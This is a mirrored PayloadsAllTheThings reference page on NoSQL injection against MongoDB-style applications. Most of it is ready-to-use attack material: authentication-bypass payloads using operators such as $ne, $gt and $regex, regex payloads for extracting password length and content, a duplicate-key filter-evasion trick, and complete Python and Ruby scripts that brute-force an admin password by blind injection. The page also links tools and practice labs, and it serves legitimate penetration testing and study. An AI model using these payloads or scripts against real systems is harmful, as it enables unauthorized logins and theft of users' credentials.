index.md (8519B)
1 --- 2 title: "NoSQL Injection" 3 topic: "NoSQL Injection" 4 topicSlug: "nosql-injection" 5 sourcePath: "NoSQL Injection/README.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/NoSQL%20Injection/README.md" 7 sha: "3ac27901c711" 8 isReadme: true 9 --- 10 11 # NoSQL Injection 12 13 > NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. 14 15 ## Summary 16 17 * [Tools](#tools) 18 * [Methodology](#methodology) 19 * [Operator Injection](#operator-injection) 20 * [Authentication Bypass](#authentication-bypass) 21 * [Extract Length Information](#extract-length-information) 22 * [Extract Data Information](#extract-data-information) 23 * [WAF and Filters](#waf-and-filters) 24 * [Blind NoSQL](#blind-nosql) 25 * [POST with JSON Body](#post-with-json-body) 26 * [POST with urlencoded Body](#post-with-urlencoded-body) 27 * [GET](#get) 28 * [Labs](#references) 29 * [References](#references) 30 31 ## Tools 32 33 * [codingo/NoSQLmap](https://github.com/codingo/NoSQLMap) - Automated NoSQL database enumeration and web application exploitation tool 34 * [digininja/nosqlilab](https://github.com/digininja/nosqlilab) - A lab for playing with NoSQL Injection 35 * [matrix/Burp-NoSQLiScanner](https://github.com/matrix/Burp-NoSQLiScanner) - This extension provides a way to discover NoSQL injection vulnerabilities. 36 37 ## Methodology 38 39 NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like `$ne`, `$gt`, `$regex`, or `$where` in MongoDB. 40 41 ### Operator Injection 42 43 | Operator | Description | 44 | -------- | ------------------ | 45 | $ne | not equal | 46 | $regex | regular expression | 47 | $gt | greater than | 48 | $lt | lower than | 49 | $nin | not in | 50 51 Example: A web application has a product search feature 52 53 ```js 54 db.products.find({ "price": userInput }) 55 ``` 56 57 An attacker can inject a NoSQL query: `{ "$gt": 0 }`. 58 59 ```js 60 db.products.find({ "price": { "$gt": 0 } }) 61 ``` 62 63 Instead of returning a specific product, the database returns all products with a price greater than zero, leaking data. 64 65 ### Authentication Bypass 66 67 Basic authentication bypass using not equal (`$ne`) or greater (`$gt`) 68 69 * HTTP data 70 71 ```ps1 72 username[$ne]=toto&password[$ne]=toto 73 login[$regex]=a.*&pass[$ne]=lol 74 login[$gt]=admin&login[$lt]=test&pass[$ne]=1 75 login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto 76 ``` 77 78 * JSON data 79 80 ```json 81 {"username": {"$ne": null}, "password": {"$ne": null}} 82 {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} 83 {"username": {"$gt": undefined}, "password": {"$gt": undefined}} 84 {"username": {"$gt":""}, "password": {"$gt":""}} 85 ``` 86 87 ### Extract Length Information 88 89 Inject a payload using the $regex operator. The injection will work when the length is correct. 90 91 ```ps1 92 username[$ne]=toto&password[$regex]=.{1} 93 username[$ne]=toto&password[$regex]=.{3} 94 ``` 95 96 ### Extract Data Information 97 98 Extract data with "`$regex`" query operator. 99 100 * HTTP data 101 102 ```ps1 103 username[$ne]=toto&password[$regex]=m.{2} 104 username[$ne]=toto&password[$regex]=md.{1} 105 username[$ne]=toto&password[$regex]=mdp 106 107 username[$ne]=toto&password[$regex]=m.* 108 username[$ne]=toto&password[$regex]=md.* 109 ``` 110 111 * JSON data 112 113 ```json 114 {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} 115 {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} 116 {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} 117 ``` 118 119 Extract data with "`$in`" query operator. 120 121 ```json 122 {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} 123 ``` 124 125 ### WAF and Filters 126 127 **Remove pre-condition**: 128 129 In MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence. 130 131 ```js 132 {"id":"10", "id":"100"} 133 ``` 134 135 In this case, the final value of "id" will be "100". 136 137 ## Blind NoSQL 138 139 ### POST with JSON Body 140 141 Python script: 142 143 ```python 144 import requests 145 import urllib3 146 import string 147 import urllib 148 urllib3.disable_warnings() 149 150 username="admin" 151 password="" 152 u="http://example.org/login" 153 headers={'content-type': 'application/json'} 154 155 while True: 156 for c in string.printable: 157 if c not in ['*','+','.','?','|']: 158 payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) 159 r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) 160 if 'OK' in r.text or r.status_code == 302: 161 print("Found one more char : %s" % (password+c)) 162 password += c 163 ``` 164 165 ### POST with urlencoded Body 166 167 Python script: 168 169 ```python 170 import requests 171 import urllib3 172 import string 173 import urllib 174 urllib3.disable_warnings() 175 176 username="admin" 177 password="" 178 u="http://example.org/login" 179 headers={'content-type': 'application/x-www-form-urlencoded'} 180 181 while True: 182 for c in string.printable: 183 if c not in ['*','+','.','?','|','&','$']: 184 payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c) 185 r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) 186 if r.status_code == 302 and r.headers['Location'] == '/dashboard': 187 print("Found one more char : %s" % (password+c)) 188 password += c 189 ``` 190 191 ### GET 192 193 Python script: 194 195 ```python 196 import requests 197 import urllib3 198 import string 199 import urllib 200 urllib3.disable_warnings() 201 202 username='admin' 203 password='' 204 u='http://example.org/login' 205 206 while True: 207 for c in string.printable: 208 if c not in ['*','+','.','?','|', '#', '&', '$']: 209 payload=f"?username={username}&password[$regex]=^{password + c}" 210 r = requests.get(u + payload) 211 if 'Yeah' in r.text: 212 print(f"Found one more char : {password+c}") 213 password += c 214 ``` 215 216 Ruby script: 217 218 ```ruby 219 require 'httpx' 220 221 username = 'admin' 222 password = '' 223 url = 'http://example.org/login' 224 # CHARSET = (?!..?~).to_a # all ASCII printable characters 225 CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-' 226 GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$'] 227 session = HTTPX.plugin(:persistent) 228 229 while true 230 CHARSET.each do |c| 231 unless GET_EXCLUDE.include?(c) 232 payload = "?username=#{username}&password[$regex]=^#{password + c}" 233 res = session.get(url + payload) 234 if res.body.to_s.match?('Yeah') 235 puts "Found one more char : #{password + c}" 236 password += c 237 end 238 end 239 end 240 end 241 ``` 242 243 ## Labs 244 245 * [Root Me - NoSQL injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Authentication) 246 * [Root Me - NoSQL injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Blind) 247 248 ## References 249 250 * [Burp-NoSQLiScanner - matrix - January 30, 2021](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java) 251 * [Getting rid of pre- and post-conditions in NoSQL injections - Reino Mostert - March 11, 2025](https://web.archive.org/web/20260208131430/https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/) 252 * [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat - February 22, 2015](https://web.archive.org/web/20160316144254/http://www.dailysecurity.fr/nosql-injections-classique-blind/) 253 * [MongoDB NoSQL Injection with Aggregation Pipelines - Soroush Dalili (@irsdl) - June 23, 2024](https://web.archive.org/web/20240624015518/https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/) 254 * [NoSQL error-based injection - Reino Mostert - March 15, 2025](https://web.archive.org/web/20260208131314/https://sensepost.com/blog/2025/nosql-error-based-injection/) 255 * [NoSQL Injection in MongoDB - Zanon - July 17, 2016](https://web.archive.org/web/20160916113057/http://zanon.io:80/posts/nosql-injection-in-mongodb) 256 * [NoSQL injection wordlists - cr0hn - May 5, 2021](https://github.com/cr0hn/nosqlinjection_wordlists) 257 * [Testing for NoSQL injection - OWASP - May 2, 2023](https://web.archive.org/web/20200707120423/https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)